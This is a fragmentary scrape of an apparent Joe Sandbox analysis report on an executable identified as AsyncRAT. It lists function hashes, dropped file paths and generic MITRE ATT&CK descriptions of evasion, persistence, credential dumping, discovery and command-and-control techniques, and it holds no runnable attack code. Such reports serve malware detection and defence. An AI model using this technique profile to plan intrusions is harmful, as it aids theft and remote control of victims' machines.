Instruction Fuzzy Hash: 64F0BE32B0E9098FEB65EB8CE4518A873E0EF46320B1900BBF15CC74B7DA26AC41C740

Function 00007FFD9BAE3420 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2041401062.00007FFD9BAE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c12e9f8e45dd3a1fbee27711127dd6f28d4332a85a0e209c529f687d8b01166e
Instruction ID: 7a5960e651d2419c48d3f93726ffb8bf71a5269913cbf29b4ad445d0733992a9
Opcode Fuzzy Hash: c12e9f8e45dd3a1fbee27711127dd6f28d4332a85a0e209c529f687d8b01166e
Instruction Fuzzy Hash: 66F08232B0E5498FDB66EB5CE4518A877E0EF45321B1500B6E15DC74B3CA25EC50C750

Function 00007FFD9BA19599 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2040729583.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9ba10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feaab98cb18ae5f9973d7af16f16a7dfdb089096c209ce9aadc85a047ab9c512
Instruction ID: 0195c058bb00a3f49eceb8c547a00777b666ef6b067437cb41a534a319915328
Opcode Fuzzy Hash: feaab98cb18ae5f9973d7af16f16a7dfdb089096c209ce9aadc85a047ab9c512
Instruction Fuzzy Hash: B9E01234814A8C8F8B48EF18C8598E97BA0FF68201B01029BE81DC7120DB719A58CBC2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report t3h7DNer1Q.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Loaader.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\t3h7DNer1Q.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0nchzeek.xnu.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_111zets1.je3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1atj5jgo.d51.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1r0msigs.0gu.ps1

Windows Analysis Report
t3h7DNer1Q.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre